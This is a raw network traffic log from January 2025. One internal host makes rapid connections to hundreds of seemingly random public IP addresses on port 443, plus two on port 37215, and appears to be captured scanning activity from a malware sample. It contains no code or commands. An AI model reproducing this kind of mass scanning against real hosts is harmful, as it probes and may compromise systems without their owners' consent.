Jan 30, 2025 10:43:00.091557980 CET	60295	37215	192.168.2.14	197.44.56.211
Jan 30, 2025 10:43:00.091629982 CET	60295	37215	192.168.2.14	156.95.232.156
Jan 30, 2025 10:43:00.135834932 CET	61319	443	192.168.2.14	117.44.222.92
Jan 30, 2025 10:43:00.135853052 CET	61319	443	192.168.2.14	212.242.99.92
Jan 30, 2025 10:43:00.135860920 CET	61319	443	192.168.2.14	148.234.127.16
Jan 30, 2025 10:43:00.135860920 CET	443	61319	117.44.222.92	192.168.2.14
Jan 30, 2025 10:43:00.135870934 CET	61319	443	192.168.2.14	79.194.30.91
Jan 30, 2025 10:43:00.135876894 CET	443	61319	212.242.99.92	192.168.2.14
Jan 30, 2025 10:43:00.135878086 CET	61319	443	192.168.2.14	2.84.208.85
Jan 30, 2025 10:43:00.135879040 CET	61319	443	192.168.2.14	79.253.180.175
Jan 30, 2025 10:43:00.135896921 CET	61319	443	192.168.2.14	212.54.8.77
Jan 30, 2025 10:43:00.135909081 CET	61319	443	192.168.2.14	117.44.222.92
Jan 30, 2025 10:43:00.135915995 CET	61319	443	192.168.2.14	37.45.205.43
Jan 30, 2025 10:43:00.135916948 CET	61319	443	192.168.2.14	148.26.252.206
Jan 30, 2025 10:43:00.135946989 CET	61319	443	192.168.2.14	212.242.99.92
Jan 30, 2025 10:43:00.135955095 CET	61319	443	192.168.2.14	212.107.189.180
Jan 30, 2025 10:43:00.135958910 CET	61319	443	192.168.2.14	212.245.51.110
Jan 30, 2025 10:43:00.135962009 CET	61319	443	192.168.2.14	118.207.68.195
Jan 30, 2025 10:43:00.135967970 CET	61319	443	192.168.2.14	109.209.183.27
Jan 30, 2025 10:43:00.135970116 CET	61319	443	192.168.2.14	2.47.131.161
Jan 30, 2025 10:43:00.135970116 CET	61319	443	192.168.2.14	210.193.33.124
Jan 30, 2025 10:43:00.135970116 CET	61319	443	192.168.2.14	178.173.54.250
Jan 30, 2025 10:43:00.135974884 CET	61319	443	192.168.2.14	42.30.80.198
Jan 30, 2025 10:43:00.135978937 CET	61319	443	192.168.2.14	212.62.120.202
Jan 30, 2025 10:43:00.135979891 CET	61319	443	192.168.2.14	94.164.224.56
Jan 30, 2025 10:43:00.135979891 CET	61319	443	192.168.2.14	94.176.140.114
Jan 30, 2025 10:43:00.135979891 CET	61319	443	192.168.2.14	148.211.170.189
Jan 30, 2025 10:43:00.136004925 CET	61319	443	192.168.2.14	117.126.216.48
Jan 30, 2025 10:43:00.136010885 CET	61319	443	192.168.2.14	37.223.166.152
Jan 30, 2025 10:43:00.136013031 CET	61319	443	192.168.2.14	202.32.105.169
Jan 30, 2025 10:43:00.136013031 CET	61319	443	192.168.2.14	2.217.160.99
Jan 30, 2025 10:43:00.136013031 CET	61319	443	192.168.2.14	109.21.145.15
Jan 30, 2025 10:43:00.136013031 CET	61319	443	192.168.2.14	210.164.39.18
Jan 30, 2025 10:43:00.136013031 CET	61319	443	192.168.2.14	109.150.176.14
Jan 30, 2025 10:43:00.136013031 CET	61319	443	192.168.2.14	94.181.249.88
Jan 30, 2025 10:43:00.136058092 CET	61319	443	192.168.2.14	79.219.121.21
Jan 30, 2025 10:43:00.136070013 CET	61319	443	192.168.2.14	37.96.182.124
Jan 30, 2025 10:43:00.136074066 CET	61319	443	192.168.2.14	148.248.172.226
Jan 30, 2025 10:43:00.136074066 CET	61319	443	192.168.2.14	212.227.227.185
Jan 30, 2025 10:43:00.136075974 CET	61319	443	192.168.2.14	148.157.31.127
Jan 30, 2025 10:43:00.136080980 CET	61319	443	192.168.2.14	123.76.75.245
Jan 30, 2025 10:43:00.136111975 CET	61319	443	192.168.2.14	123.131.32.254
Jan 30, 2025 10:43:00.136115074 CET	61319	443	192.168.2.14	148.24.106.24
Jan 30, 2025 10:43:00.136116028 CET	61319	443	192.168.2.14	117.148.87.47
Jan 30, 2025 10:43:00.136116028 CET	61319	443	192.168.2.14	94.114.84.200
Jan 30, 2025 10:43:00.136118889 CET	61319	443	192.168.2.14	123.211.14.56
Jan 30, 2025 10:43:00.136120081 CET	61319	443	192.168.2.14	5.167.81.112
Jan 30, 2025 10:43:00.136126995 CET	61319	443	192.168.2.14	178.26.159.32
Jan 30, 2025 10:43:00.136126995 CET	61319	443	192.168.2.14	5.83.130.72
Jan 30, 2025 10:43:00.136126995 CET	61319	443	192.168.2.14	212.8.71.80
Jan 30, 2025 10:43:00.136141062 CET	61319	443	192.168.2.14	2.158.246.41
Jan 30, 2025 10:43:00.136141062 CET	61319	443	192.168.2.14	212.10.201.251
Jan 30, 2025 10:43:00.136141062 CET	61319	443	192.168.2.14	94.153.149.109
Jan 30, 2025 10:43:00.136141062 CET	61319	443	192.168.2.14	212.104.255.64
Jan 30, 2025 10:43:00.136141062 CET	61319	443	192.168.2.14	210.225.136.127
Jan 30, 2025 10:43:00.136142969 CET	61319	443	192.168.2.14	109.146.38.155
Jan 30, 2025 10:43:00.136142015 CET	61319	443	192.168.2.14	210.129.74.73
Jan 30, 2025 10:43:00.136147022 CET	61319	443	192.168.2.14	123.243.175.133
Jan 30, 2025 10:43:00.136142969 CET	61319	443	192.168.2.14	202.42.98.128
Jan 30, 2025 10:43:00.136141062 CET	61319	443	192.168.2.14	42.199.71.66
Jan 30, 2025 10:43:00.136146069 CET	61319	443	192.168.2.14	212.28.218.252
Jan 30, 2025 10:43:00.136142969 CET	61319	443	192.168.2.14	212.63.195.242
Jan 30, 2025 10:43:00.136153936 CET	61319	443	192.168.2.14	2.225.72.38
Jan 30, 2025 10:43:00.136153936 CET	61319	443	192.168.2.14	123.16.19.192
Jan 30, 2025 10:43:00.136153936 CET	61319	443	192.168.2.14	123.217.234.38
Jan 30, 2025 10:43:00.136166096 CET	61319	443	192.168.2.14	42.71.70.96
Jan 30, 2025 10:43:00.136168003 CET	61319	443	192.168.2.14	210.158.221.77
Jan 30, 2025 10:43:00.136168003 CET	61319	443	192.168.2.14	212.76.172.176
Jan 30, 2025 10:43:00.136168003 CET	61319	443	192.168.2.14	148.228.183.54
Jan 30, 2025 10:43:00.136168003 CET	61319	443	192.168.2.14	210.174.12.206
Jan 30, 2025 10:43:00.136173964 CET	61319	443	192.168.2.14	5.123.124.24
Jan 30, 2025 10:43:00.136174917 CET	61319	443	192.168.2.14	42.13.129.131
Jan 30, 2025 10:43:00.136174917 CET	61319	443	192.168.2.14	37.184.191.152
Jan 30, 2025 10:43:00.136174917 CET	61319	443	192.168.2.14	109.1.19.39
Jan 30, 2025 10:43:00.136177063 CET	61319	443	192.168.2.14	148.149.182.129
Jan 30, 2025 10:43:00.136177063 CET	61319	443	192.168.2.14	42.232.165.24
Jan 30, 2025 10:43:00.136178017 CET	61319	443	192.168.2.14	202.145.107.3
Jan 30, 2025 10:43:00.136178970 CET	61319	443	192.168.2.14	42.230.201.199
Jan 30, 2025 10:43:00.136178017 CET	61319	443	192.168.2.14	37.187.159.74
Jan 30, 2025 10:43:00.136178017 CET	61319	443	192.168.2.14	123.152.54.25
Jan 30, 2025 10:43:00.136183023 CET	61319	443	192.168.2.14	148.95.232.43
Jan 30, 2025 10:43:00.136198044 CET	61319	443	192.168.2.14	117.189.183.61
Jan 30, 2025 10:43:00.136212111 CET	61319	443	192.168.2.14	123.5.26.101
Jan 30, 2025 10:43:00.136212111 CET	61319	443	192.168.2.14	94.5.41.153
Jan 30, 2025 10:43:00.136226892 CET	61319	443	192.168.2.14	123.235.28.226
Jan 30, 2025 10:43:00.136229992 CET	61319	443	192.168.2.14	42.253.59.251
Jan 30, 2025 10:43:00.136229992 CET	61319	443	192.168.2.14	5.254.13.137
Jan 30, 2025 10:43:00.136230946 CET	61319	443	192.168.2.14	148.127.194.64
Jan 30, 2025 10:43:00.136230946 CET	61319	443	192.168.2.14	2.221.39.5
Jan 30, 2025 10:43:00.136230946 CET	61319	443	192.168.2.14	37.218.129.154
Jan 30, 2025 10:43:00.136231899 CET	61319	443	192.168.2.14	202.26.158.48
Jan 30, 2025 10:43:00.136259079 CET	61319	443	192.168.2.14	210.128.230.14
Jan 30, 2025 10:43:00.136281013 CET	61319	443	192.168.2.14	178.246.81.147
Jan 30, 2025 10:43:00.136281013 CET	61319	443	192.168.2.14	5.90.76.237
Jan 30, 2025 10:43:00.136288881 CET	61319	443	192.168.2.14	2.244.196.98
Jan 30, 2025 10:43:00.136288881 CET	61319	443	192.168.2.14	123.33.149.184
Jan 30, 2025 10:43:00.136288881 CET	61319	443	192.168.2.14	118.35.82.37
Jan 30, 2025 10:43:00.136292934 CET	61319	443	192.168.2.14	5.111.212.158
Jan 30, 2025 10:43:00.136292934 CET	61319	443	192.168.2.14	5.195.46.73
Jan 30, 2025 10:43:00.136298895 CET	61319	443	192.168.2.14	94.70.171.76
Jan 30, 2025 10:43:00.136298895 CET	61319	443	192.168.2.14	123.152.247.200
Jan 30, 2025 10:43:00.136306047 CET	61319	443	192.168.2.14	202.7.115.187
Jan 30, 2025 10:43:00.136306047 CET	61319	443	192.168.2.14	118.96.191.219
Jan 30, 2025 10:43:00.136306047 CET	61319	443	192.168.2.14	202.236.245.37
Jan 30, 2025 10:43:00.136306047 CET	61319	443	192.168.2.14	94.221.173.63
Jan 30, 2025 10:43:00.136310101 CET	61319	443	192.168.2.14	117.100.40.86
Jan 30, 2025 10:43:00.136311054 CET	61319	443	192.168.2.14	202.195.231.184
Jan 30, 2025 10:43:00.136311054 CET	61319	443	192.168.2.14	123.20.140.97
Jan 30, 2025 10:43:00.136311054 CET	61319	443	192.168.2.14	123.13.237.88
Jan 30, 2025 10:43:00.136312962 CET	61319	443	192.168.2.14	94.29.165.197
Jan 30, 2025 10:43:00.136312962 CET	61319	443	192.168.2.14	210.34.30.217
Jan 30, 2025 10:43:00.136312962 CET	61319	443	192.168.2.14	202.191.175.51
Jan 30, 2025 10:43:00.136315107 CET	61319	443	192.168.2.14	212.72.242.147
Jan 30, 2025 10:43:00.136316061 CET	61319	443	192.168.2.14	212.60.250.20
Jan 30, 2025 10:43:00.136316061 CET	61319	443	192.168.2.14	109.98.247.26
Jan 30, 2025 10:43:00.136316061 CET	61319	443	192.168.2.14	148.204.4.71
Jan 30, 2025 10:43:00.136316061 CET	61319	443	192.168.2.14	37.156.127.152
Jan 30, 2025 10:43:00.136317015 CET	61319	443	192.168.2.14	178.61.95.64
Jan 30, 2025 10:43:00.136316061 CET	61319	443	192.168.2.14	148.132.184.135
Jan 30, 2025 10:43:00.136317015 CET	61319	443	192.168.2.14	118.140.165.11
Jan 30, 2025 10:43:00.136342049 CET	61319	443	192.168.2.14	42.74.84.175
Jan 30, 2025 10:43:00.136344910 CET	61319	443	192.168.2.14	37.34.232.141
Jan 30, 2025 10:43:00.136342049 CET	61319	443	192.168.2.14	109.57.17.10
Jan 30, 2025 10:43:00.136342049 CET	61319	443	192.168.2.14	109.68.98.231
Jan 30, 2025 10:43:00.136347055 CET	61319	443	192.168.2.14	123.216.1.174
Jan 30, 2025 10:43:00.136344910 CET	61319	443	192.168.2.14	178.24.206.190
Jan 30, 2025 10:43:00.136348009 CET	61319	443	192.168.2.14	79.115.85.56
Jan 30, 2025 10:43:00.136342049 CET	61319	443	192.168.2.14	212.64.25.9
Jan 30, 2025 10:43:00.136348009 CET	61319	443	192.168.2.14	148.13.120.127
Jan 30, 2025 10:43:00.136347055 CET	61319	443	192.168.2.14	94.255.154.40
Jan 30, 2025 10:43:00.136344910 CET	61319	443	192.168.2.14	178.169.103.108
Jan 30, 2025 10:43:00.136349916 CET	61319	443	192.168.2.14	37.155.71.194
Jan 30, 2025 10:43:00.136349916 CET	61319	443	192.168.2.14	79.241.180.218
Jan 30, 2025 10:43:00.136349916 CET	61319	443	192.168.2.14	178.98.73.15
Jan 30, 2025 10:43:00.136342049 CET	61319	443	192.168.2.14	212.98.250.103
Jan 30, 2025 10:43:00.136342049 CET	61319	443	192.168.2.14	42.222.157.66
Jan 30, 2025 10:43:00.136349916 CET	61319	443	192.168.2.14	148.60.180.132
Jan 30, 2025 10:43:00.136342049 CET	61319	443	192.168.2.14	178.77.24.228
Jan 30, 2025 10:43:00.136349916 CET	61319	443	192.168.2.14	210.130.181.193
Jan 30, 2025 10:43:00.136342049 CET	61319	443	192.168.2.14	109.236.74.47
Jan 30, 2025 10:43:00.136348009 CET	61319	443	192.168.2.14	2.162.66.100
Jan 30, 2025 10:43:00.136348009 CET	61319	443	192.168.2.14	123.1.8.226
Jan 30, 2025 10:43:00.136368036 CET	61319	443	192.168.2.14	212.237.7.53
Jan 30, 2025 10:43:00.136368036 CET	61319	443	192.168.2.14	5.175.91.106
Jan 30, 2025 10:43:00.136368990 CET	61319	443	192.168.2.14	123.118.98.212
Jan 30, 2025 10:43:00.136372089 CET	61319	443	192.168.2.14	210.71.243.240
Jan 30, 2025 10:43:00.136372089 CET	61319	443	192.168.2.14	123.111.31.69
Jan 30, 2025 10:43:00.136373997 CET	61319	443	192.168.2.14	5.113.47.193
Jan 30, 2025 10:43:00.136373997 CET	61319	443	192.168.2.14	178.21.31.52
Jan 30, 2025 10:43:00.136373997 CET	61319	443	192.168.2.14	117.120.35.97
Jan 30, 2025 10:43:00.136373997 CET	61319	443	192.168.2.14	109.197.132.183
Jan 30, 2025 10:43:00.136374950 CET	61319	443	192.168.2.14	210.1.216.197
Jan 30, 2025 10:43:00.136373997 CET	61319	443	192.168.2.14	42.98.11.27
Jan 30, 2025 10:43:00.136382103 CET	61319	443	192.168.2.14	79.110.10.74
Jan 30, 2025 10:43:00.136382103 CET	61319	443	192.168.2.14	37.14.62.137
Jan 30, 2025 10:43:00.136384964 CET	61319	443	192.168.2.14	123.234.249.70
Jan 30, 2025 10:43:00.136387110 CET	61319	443	192.168.2.14	5.2.150.86
Jan 30, 2025 10:43:00.136387110 CET	61319	443	192.168.2.14	117.27.152.114
Jan 30, 2025 10:43:00.136388063 CET	61319	443	192.168.2.14	2.164.138.199
Jan 30, 2025 10:43:00.136388063 CET	61319	443	192.168.2.14	202.78.220.243
Jan 30, 2025 10:43:00.136394024 CET	61319	443	192.168.2.14	178.177.76.167
Jan 30, 2025 10:43:00.136395931 CET	61319	443	192.168.2.14	79.176.63.48
Jan 30, 2025 10:43:00.136395931 CET	61319	443	192.168.2.14	178.166.225.143
Jan 30, 2025 10:43:00.136395931 CET	61319	443	192.168.2.14	210.56.213.191
Jan 30, 2025 10:43:00.136395931 CET	61319	443	192.168.2.14	2.164.181.251
Jan 30, 2025 10:43:00.136395931 CET	61319	443	192.168.2.14	212.126.133.229
Jan 30, 2025 10:43:00.136405945 CET	61319	443	192.168.2.14	123.203.112.91
Jan 30, 2025 10:43:00.136409044 CET	61319	443	192.168.2.14	123.182.89.118
Jan 30, 2025 10:43:00.136413097 CET	61319	443	192.168.2.14	210.92.231.104
Jan 30, 2025 10:43:00.136413097 CET	61319	443	192.168.2.14	117.197.186.94
Jan 30, 2025 10:43:00.136413097 CET	61319	443	192.168.2.14	212.130.6.14
Jan 30, 2025 10:43:00.136419058 CET	61319	443	192.168.2.14	2.246.244.87
Jan 30, 2025 10:43:00.136420965 CET	61319	443	192.168.2.14	117.235.84.71
Jan 30, 2025 10:43:00.136420965 CET	61319	443	192.168.2.14	79.61.186.62
Jan 30, 2025 10:43:00.136440039 CET	61319	443	192.168.2.14	118.167.138.172
Jan 30, 2025 10:43:00.136441946 CET	61319	443	192.168.2.14	123.63.145.115
Jan 30, 2025 10:43:00.136452913 CET	61319	443	192.168.2.14	37.9.77.31
Jan 30, 2025 10:43:00.136461973 CET	61319	443	192.168.2.14	118.37.14.16
Jan 30, 2025 10:43:00.136466026 CET	61319	443	192.168.2.14	109.183.233.77
Jan 30, 2025 10:43:00.136471987 CET	61319	443	192.168.2.14	202.209.199.237
Jan 30, 2025 10:43:00.136481047 CET	61319	443	192.168.2.14	178.107.67.127
Jan 30, 2025 10:43:00.136486053 CET	61319	443	192.168.2.14	5.52.200.0
Jan 30, 2025 10:43:00.136486053 CET	61319	443	192.168.2.14	109.223.40.255
Jan 30, 2025 10:43:00.136553049 CET	61319	443	192.168.2.14	79.222.89.222
Jan 30, 2025 10:43:00.136562109 CET	61319	443	192.168.2.14	37.101.164.229
Jan 30, 2025 10:43:00.136569977 CET	61319	443	192.168.2.14	212.41.189.126
Jan 30, 2025 10:43:00.136574030 CET	61319	443	192.168.2.14	94.85.135.138
Jan 30, 2025 10:43:00.136578083 CET	61319	443	192.168.2.14	202.180.181.90
Jan 30, 2025 10:43:00.136584997 CET	61319	443	192.168.2.14	109.240.169.198
Jan 30, 2025 10:43:00.136599064 CET	61319	443	192.168.2.14	117.227.102.73
Jan 30, 2025 10:43:00.136600018 CET	61319	443	192.168.2.14	210.36.150.10
Jan 30, 2025 10:43:00.136610031 CET	61319	443	192.168.2.14	37.107.198.111
Jan 30, 2025 10:43:00.136612892 CET	61319	443	192.168.2.14	109.208.229.200
Jan 30, 2025 10:43:00.136619091 CET	61319	443	192.168.2.14	212.118.37.49
Jan 30, 2025 10:43:00.136622906 CET	61319	443	192.168.2.14	2.74.250.227
Jan 30, 2025 10:43:00.136635065 CET	61319	443	192.168.2.14	79.46.123.21
Jan 30, 2025 10:43:00.136636972 CET	61319	443	192.168.2.14	123.89.230.114
Jan 30, 2025 10:43:00.136647940 CET	61319	443	192.168.2.14	94.122.216.24
Jan 30, 2025 10:43:00.136655092 CET	61319	443	192.168.2.14	42.66.236.193
Jan 30, 2025 10:43:00.136670113 CET	61319	443	192.168.2.14	117.22.99.8
Jan 30, 2025 10:43:00.136671066 CET	61319	443	192.168.2.14	2.211.22.71
Jan 30, 2025 10:43:00.136671066 CET	61319	443	192.168.2.14	2.124.133.57
Jan 30, 2025 10:43:00.136676073 CET	61319	443	192.168.2.14	5.139.63.26
Jan 30, 2025 10:43:00.136684895 CET	61319	443	192.168.2.14	178.167.13.52
Jan 30, 2025 10:43:00.136686087 CET	61319	443	192.168.2.14	5.184.83.140
Jan 30, 2025 10:43:00.136692047 CET	61319	443	192.168.2.14	37.119.76.187
Jan 30, 2025 10:43:00.136694908 CET	61319	443	192.168.2.14	202.158.234.66
Jan 30, 2025 10:43:00.136706114 CET	61319	443	192.168.2.14	118.48.12.64
Jan 30, 2025 10:43:00.136728048 CET	61319	443	192.168.2.14	117.139.147.244
Jan 30, 2025 10:43:00.136729002 CET	61319	443	192.168.2.14	79.87.46.94
Jan 30, 2025 10:43:00.136728048 CET	61319	443	192.168.2.14	2.21.98.241
Jan 30, 2025 10:43:00.136728048 CET	61319	443	192.168.2.14	2.132.119.175
Jan 30, 2025 10:43:00.136728048 CET	61319	443	192.168.2.14	117.31.0.104
Jan 30, 2025 10:43:00.136728048 CET	61319	443	192.168.2.14	202.186.226.38
Jan 30, 2025 10:43:00.136728048 CET	61319	443	192.168.2.14	118.227.118.103
Jan 30, 2025 10:43:00.136740923 CET	61319	443	192.168.2.14	117.210.165.247
Jan 30, 2025 10:43:00.136749983 CET	61319	443	192.168.2.14	5.204.74.249
Jan 30, 2025 10:43:00.136755943 CET	61319	443	192.168.2.14	5.199.219.29
Jan 30, 2025 10:43:00.136765957 CET	61319	443	192.168.2.14	37.83.71.36
Jan 30, 2025 10:43:00.136770964 CET	61319	443	192.168.2.14	148.24.239.151
Jan 30, 2025 10:43:00.136770964 CET	61319	443	192.168.2.14	109.80.23.35
Jan 30, 2025 10:43:00.136780977 CET	61319	443	192.168.2.14	178.251.71.195
Jan 30, 2025 10:43:00.136785030 CET	61319	443	192.168.2.14	5.176.177.28
Jan 30, 2025 10:43:00.136787891 CET	61319	443	192.168.2.14	123.173.11.203
Jan 30, 2025 10:43:00.136800051 CET	61319	443	192.168.2.14	42.131.248.228
Jan 30, 2025 10:43:00.136804104 CET	61319	443	192.168.2.14	210.52.241.7
Jan 30, 2025 10:43:00.136809111 CET	61319	443	192.168.2.14	2.87.59.13
Jan 30, 2025 10:43:00.136816978 CET	61319	443	192.168.2.14	123.165.213.176
Jan 30, 2025 10:43:00.136827946 CET	61319	443	192.168.2.14	94.29.77.138
Jan 30, 2025 10:43:00.136828899 CET	61319	443	192.168.2.14	210.69.109.223
Jan 30, 2025 10:43:00.136842966 CET	61319	443	192.168.2.14	118.244.234.174
Jan 30, 2025 10:43:00.136862993 CET	61319	443	192.168.2.14	42.220.82.139
Jan 30, 2025 10:43:00.136873960 CET	61319	443	192.168.2.14	210.243.6.69
Jan 30, 2025 10:43:00.136888981 CET	61319	443	192.168.2.14	123.128.191.69
Jan 30, 2025 10:43:00.136888981 CET	61319	443	192.168.2.14	123.240.163.18
Jan 30, 2025 10:43:00.136903048 CET	61319	443	192.168.2.14	212.242.4.121
Jan 30, 2025 10:43:00.136904001 CET	61319	443	192.168.2.14	37.132.54.79
Jan 30, 2025 10:43:00.136904001 CET	61319	443	192.168.2.14	109.133.132.193
Jan 30, 2025 10:43:00.136909962 CET	61319	443	192.168.2.14	148.52.76.171
Jan 30, 2025 10:43:00.136919022 CET	61319	443	192.168.2.14	123.199.163.135
Jan 30, 2025 10:43:00.136925936 CET	61319	443	192.168.2.14	94.254.93.19
Jan 30, 2025 10:43:00.136933088 CET	61319	443	192.168.2.14	148.101.214.160
Jan 30, 2025 10:43:00.136941910 CET	61319	443	192.168.2.14	42.97.148.125
Jan 30, 2025 10:43:00.136946917 CET	61319	443	192.168.2.14	118.17.66.251
Jan 30, 2025 10:43:00.136954069 CET	61319	443	192.168.2.14	2.40.123.157
Jan 30, 2025 10:43:00.136959076 CET	61319	443	192.168.2.14	202.220.90.220
Jan 30, 2025 10:43:00.136966944 CET	61319	443	192.168.2.14	109.216.249.47
Jan 30, 2025 10:43:00.136974096 CET	61319	443	192.168.2.14	5.39.210.203
Jan 30, 2025 10:43:00.136981010 CET	61319	443	192.168.2.14	123.64.227.72
Jan 30, 2025 10:43:00.136991024 CET	61319	443	192.168.2.14	212.159.52.230
Jan 30, 2025 10:43:00.136992931 CET	61319	443	192.168.2.14	5.250.237.216
Jan 30, 2025 10:43:00.137006044 CET	61319	443	192.168.2.14	2.101.51.43
Jan 30, 2025 10:43:00.137006998 CET	61319	443	192.168.2.14	79.125.115.213
Jan 30, 2025 10:43:00.137020111 CET	61319	443	192.168.2.14	202.10.206.39
Jan 30, 2025 10:43:00.137022972 CET	61319	443	192.168.2.14	94.242.123.36
Jan 30, 2025 10:43:00.137025118 CET	61319	443	192.168.2.14	79.126.233.226
Jan 30, 2025 10:43:00.137034893 CET	61319	443	192.168.2.14	212.77.58.103
Jan 30, 2025 10:43:00.137042046 CET	61319	443	192.168.2.14	42.193.7.62
Jan 30, 2025 10:43:00.137042046 CET	61319	443	192.168.2.14	212.100.97.87
Jan 30, 2025 10:43:00.137051105 CET	61319	443	192.168.2.14	42.43.78.98
Jan 30, 2025 10:43:00.137058973 CET	61319	443	192.168.2.14	117.130.94.59
Jan 30, 2025 10:43:00.137063026 CET	61319	443	192.168.2.14	210.133.89.173
Jan 30, 2025 10:43:00.137068987 CET	61319	443	192.168.2.14	42.167.253.45
Jan 30, 2025 10:43:00.137077093 CET	61319	443	192.168.2.14	202.248.85.59
Jan 30, 2025 10:43:00.137078047 CET	61319	443	192.168.2.14	118.109.83.208
Jan 30, 2025 10:43:00.137079954 CET	61319	443	192.168.2.14	178.22.91.58
Jan 30, 2025 10:43:00.137094975 CET	61319	443	192.168.2.14	148.0.48.219
Jan 30, 2025 10:43:00.137098074 CET	61319	443	192.168.2.14	210.17.47.122
Jan 30, 2025 10:43:00.137098074 CET	61319	443	192.168.2.14	2.10.53.133
Jan 30, 2025 10:43:00.137101889 CET	61319	443	192.168.2.14	212.36.225.20
Jan 30, 2025 10:43:00.137116909 CET	61319	443	192.168.2.14	148.92.150.45
Jan 30, 2025 10:43:00.137120962 CET	61319	443	192.168.2.14	2.47.58.8
Jan 30, 2025 10:43:00.137124062 CET	61319	443	192.168.2.14	123.238.36.110
Jan 30, 2025 10:43:00.137135983 CET	61319	443	192.168.2.14	148.56.62.129
Jan 30, 2025 10:43:00.137135983 CET	61319	443	192.168.2.14	148.87.226.125
Jan 30, 2025 10:43:00.137145996 CET	61319	443	192.168.2.14	123.115.10.65
Jan 30, 2025 10:43:00.137149096 CET	61319	443	192.168.2.14	42.182.16.243
Jan 30, 2025 10:43:00.137151003 CET	61319	443	192.168.2.14	178.138.152.197
Jan 30, 2025 10:43:00.137165070 CET	61319	443	192.168.2.14	109.240.220.43
Jan 30, 2025 10:43:00.137168884 CET	61319	443	192.168.2.14	123.227.21.8
Jan 30, 2025 10:43:00.137176037 CET	61319	443	192.168.2.14	37.67.173.244
Jan 30, 2025 10:43:00.137176991 CET	61319	443	192.168.2.14	79.72.178.182
Jan 30, 2025 10:43:00.137182951 CET	61319	443	192.168.2.14	2.164.116.213
Jan 30, 2025 10:43:00.137190104 CET	61319	443	192.168.2.14	202.189.200.6
Jan 30, 2025 10:43:00.137190104 CET	61319	443	192.168.2.14	5.241.27.240
Jan 30, 2025 10:43:00.137202024 CET	61319	443	192.168.2.14	202.10.172.64
Jan 30, 2025 10:43:00.137202024 CET	61319	443	192.168.2.14	178.194.154.9
Jan 30, 2025 10:43:00.137216091 CET	61319	443	192.168.2.14	117.150.9.176
Jan 30, 2025 10:43:00.137217045 CET	61319	443	192.168.2.14	79.205.200.102
Jan 30, 2025 10:43:00.137228012 CET	61319	443	192.168.2.14	123.9.164.96
Jan 30, 2025 10:43:00.137232065 CET	61319	443	192.168.2.14	79.96.237.28
Jan 30, 2025 10:43:00.137232065 CET	61319	443	192.168.2.14	5.209.32.1
Jan 30, 2025 10:43:00.137233973 CET	61319	443	192.168.2.14	118.21.108.246
Jan 30, 2025 10:43:00.137239933 CET	61319	443	192.168.2.14	202.250.206.210
Jan 30, 2025 10:43:00.137247086 CET	61319	443	192.168.2.14	212.202.85.2
Jan 30, 2025 10:43:00.137248039 CET	61319	443	192.168.2.14	123.248.29.104
Jan 30, 2025 10:43:00.137264013 CET	61319	443	192.168.2.14	5.45.112.108
Jan 30, 2025 10:43:00.137264967 CET	61319	443	192.168.2.14	37.203.49.25
Jan 30, 2025 10:43:00.137269020 CET	61319	443	192.168.2.14	117.118.205.12
Jan 30, 2025 10:43:00.137269020 CET	61319	443	192.168.2.14	5.9.56.216
Jan 30, 2025 10:43:00.137278080 CET	61319	443	192.168.2.14	210.153.233.128
Jan 30, 2025 10:43:00.137285948 CET	61319	443	192.168.2.14	79.89.196.245
Jan 30, 2025 10:43:00.137295961 CET	61319	443	192.168.2.14	202.129.149.100
Jan 30, 2025 10:43:00.137296915 CET	61319	443	192.168.2.14	202.83.195.53
Jan 30, 2025 10:43:00.137310028 CET	61319	443	192.168.2.14	123.246.227.160
Jan 30, 2025 10:43:00.137314081 CET	61319	443	192.168.2.14	42.223.61.138
Jan 30, 2025 10:43:00.137322903 CET	61319	443	192.168.2.14	79.140.132.210
Jan 30, 2025 10:43:00.137326002 CET	61319	443	192.168.2.14	178.9.44.155
Jan 30, 2025 10:43:00.137341976 CET	61319	443	192.168.2.14	148.217.68.224
Jan 30, 2025 10:43:00.137342930 CET	61319	443	192.168.2.14	178.215.154.158
Jan 30, 2025 10:43:00.137347937 CET	61319	443	192.168.2.14	42.189.238.89
Jan 30, 2025 10:43:00.137347937 CET	61319	443	192.168.2.14	94.1.124.87
Jan 30, 2025 10:43:00.137352943 CET	61319	443	192.168.2.14	123.196.216.87
Jan 30, 2025 10:43:00.137362003 CET	61319	443	192.168.2.14	178.91.207.229
Jan 30, 2025 10:43:00.137373924 CET	61319	443	192.168.2.14	118.103.5.218
Jan 30, 2025 10:43:00.137372971 CET	61319	443	192.168.2.14	109.123.104.38
Jan 30, 2025 10:43:00.137377977 CET	61319	443	192.168.2.14	37.201.170.129
Jan 30, 2025 10:43:00.137373924 CET	61319	443	192.168.2.14	5.35.80.114
Jan 30, 2025 10:43:00.137373924 CET	61319	443	192.168.2.14	109.21.114.198
Jan 30, 2025 10:43:00.137404919 CET	61319	443	192.168.2.14	202.83.185.209
Jan 30, 2025 10:43:00.137404919 CET	61319	443	192.168.2.14	94.93.22.94
Jan 30, 2025 10:43:00.137404919 CET	61319	443	192.168.2.14	37.215.230.182
Jan 30, 2025 10:43:00.137408018 CET	61319	443	192.168.2.14	117.18.233.92
Jan 30, 2025 10:43:00.137417078 CET	61319	443	192.168.2.14	109.86.132.148
Jan 30, 2025 10:43:00.137419939 CET	61319	443	192.168.2.14	210.167.18.161
Jan 30, 2025 10:43:00.137419939 CET	61319	443	192.168.2.14	178.55.226.167
Jan 30, 2025 10:43:00.137423038 CET	61319	443	192.168.2.14	178.147.233.117
Jan 30, 2025 10:43:00.137423038 CET	61319	443	192.168.2.14	178.84.186.150
Jan 30, 2025 10:43:00.137424946 CET	61319	443	192.168.2.14	212.178.48.114
Jan 30, 2025 10:43:00.137434959 CET	61319	443	192.168.2.14	148.60.63.43
Jan 30, 2025 10:43:00.137435913 CET	61319	443	192.168.2.14	79.124.197.198
Jan 30, 2025 10:43:00.137438059 CET	61319	443	192.168.2.14	148.36.65.214
Jan 30, 2025 10:43:00.137438059 CET	61319	443	192.168.2.14	212.242.104.111
Jan 30, 2025 10:43:00.137439966 CET	61319	443	192.168.2.14	118.112.157.250
Jan 30, 2025 10:43:00.137439966 CET	61319	443	192.168.2.14	210.98.13.174
Jan 30, 2025 10:43:00.137443066 CET	61319	443	192.168.2.14	118.67.157.3
Jan 30, 2025 10:43:00.137443066 CET	61319	443	192.168.2.14	109.21.180.248
Jan 30, 2025 10:43:00.137443066 CET	61319	443	192.168.2.14	5.49.29.244
Jan 30, 2025 10:43:00.137444019 CET	61319	443	192.168.2.14	117.100.106.148
Jan 30, 2025 10:43:00.137444019 CET	61319	443	192.168.2.14	123.177.224.69
